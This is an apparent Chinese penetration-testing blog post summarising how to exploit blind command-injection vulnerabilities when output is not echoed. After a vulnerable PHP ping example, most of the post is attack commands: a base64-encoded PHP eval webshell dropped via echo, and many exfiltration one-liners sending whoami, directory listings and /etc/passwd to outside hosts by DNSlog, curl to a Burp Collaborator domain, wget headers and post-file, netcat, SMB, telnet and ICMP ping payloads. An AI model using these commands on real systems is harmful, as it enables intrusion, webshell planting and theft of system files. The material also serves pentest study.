Web攻防

命令执行漏洞利用小结

2020-10-17  本文已影响0人  book4yi

前言:


还是那一次实习电话面,问到了这样一个问题:
面试官:在已经确定了命令执行漏洞的情况下,如果没有回显,如何进行利用?

我:利用dnslog确认漏洞+反弹shell到VPS上

面试官:那么如果目标机器不出网呢?

我:(当时煞笔了,啥也想不起来)

结局:
面试卒……

漏洞认识


漏洞原理:

目标应用把用户的输入当做系统命令或者系统命令的一部分去执行,且应用没有正确的验证、过滤用户的输入,从而导致命令执行漏洞。

常见漏洞存在点:

1、使用用户提供的邮箱地址发送邮件的应用程序
2、服务器监控类型的应用,他们会返回系统的健康状况,这些健康状况都是通过执行系统命令取得的
3、使用第三方软件根据用户提供的输入实时生成报告的应用程序

漏洞利用:


命令连接常用技巧:

若系统只允许执行特定的函数时,比如只允许执行Ping命令,可通过拼接符绕过:

Windows:
&:前面语句为假时直接执行后面的命令
&&:前面的语句为假时直接出错,后面的命令不执行
|:直接执行后面的语句
||:前面出错执行后面的语句

Linux:
;:前面的执行完执行后面的
&:无论前面的语句真假都会执行
&&:只有前面为真时才执行后面
|:显示后面的执行结果
||:当前面的执行错误时执行后面的

其它补充:

有回显的情况下:

1、获取系统的敏感信息

# windows:
type c:\windows\win.ini

# Linux:
cat /etc/passwd

这是最完美的情况下

但是在实际渗透中,很多往往不会直接回显,这种时候我们就需要利用各种带外通信技巧

漏洞环境:
<?php
if( isset( $_GET[ 'submit' ]  ) ) {
    $target = $_REQUEST[ 'ip' ];
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    echo "<pre>{$cmd}</pre>";
}
else{
echo "no input";
}
?>

补充:

若服务器开放了web服务,可以将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
若不知道服务器绝对路径的话,通过寻找偏僻名字的js或jpg等文件,然后通过寻找这个文件的路径,将命令执行的结果写入到这个路径里面

管道符:

在有写入权限的情况下,直接利用漏洞写入一句话:

echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== | base64 -d > shell.php

Dnslog:

原理:反撇号种的命令会自动执行并返回命令执行的结果拼接到命令里,Linux里要加上-c参数指定次数

ping -c 1 `whoami`.sp328y.dnslog.cn
NetCat:

如果目标系统有安装netcat,可以直接利用netcat将操作系统的标准输出重定向到netcat监听的端口:

nc -lp 9999 < /etc/passwd

如果目标系统为Windows,利用以下命令:

type c:\windows\win.ini  | nc -lp 9999
curl:

curl是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有curl,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件

curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`whoami`

注意:这里如果要使用ls命令查看当前目录文件,会发现只有一个请求,也就是说只能查看到1个文件或者目录

经过查资料后,发现如空格、!、$、&、?等特殊字符,是无法通过DNSlog将数据携带出来。所有我们要让内容先进行base64编码,然后在进行输出

curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`ls|base64`

但是这种方法有一个缺陷:
DNS每一级域名长度的限制是63个字符,如果文件内容过多,导致生成的base64太长,域名无法全部携带出来

这里我们可以通过一个For循环,将每个文件逐条输出:

for i in $(ls);do curl "http://nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/$i";done

这里我们也可以选择在自己的VPS上开放Web服务,用于获取数据:

当然这里还可以再完善一点,可以自己写个脚本,然后使用正则将其内容全部提取出来

cat /etc/passwd | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/ceshi.txt
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}

wget:


wget主要用于从web上非交互式地下载文件,但是,它同样可以用来外带数据

利用原理:wget支持自定义请求头,把敏感数据放入请求头里带出来

wget --header="book4yi:`cat /etc/passwd | xargs echo -n`" http://x.x.x.x:x

除此之外,wget可以利用--post-data选项用来提交body,--post-file用来上传文件

wget --post-file=/etc/passwd  http://x.x.x.x:x
SMB:

如果漏洞服务器是windows系统,我们可以使用网络共享功能读取文件

利用原理:让漏洞服务器连接到我们自己开设的共享上,然后向我们的共享文件夹复制文件

打开本机网络共享:

选择需要开放的共享文件夹或者磁盘:

向我们的共享文件夹复制文件:

net use e: \\Sws-win10\e /user:tester_sws && copy d:\1.txt e:\book4yi.txt
TELNET:

telnet x.x.x.x {port} < /etc/passwd
ICMP:

如果目标系统是linux,我们可以使用ICMP协议的echo requests外带数据,在linux下,可以用ping命令的-p选项实现

但是-p选项外带的数据最多只能16字节,这时可以利用xxd命令,不过这个命令在一些系统里是没有默认安装的

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 x.x.x.x; done

使用wireshark抓包查看:

在vps上使用tcpdump进行监听:

可以是可以,就是些许麻烦。

DNS:

详情参考:哈?命令注入外带数据的姿势还可以这么骚?

感谢表哥们的无私分享!

参考如下:


哈?命令注入外带数据的姿势还可以这么骚?
从无回显命令执行到getshell的渗透测试
fastjson 不出网利用总结

上一篇下一篇

猜你喜欢

热点阅读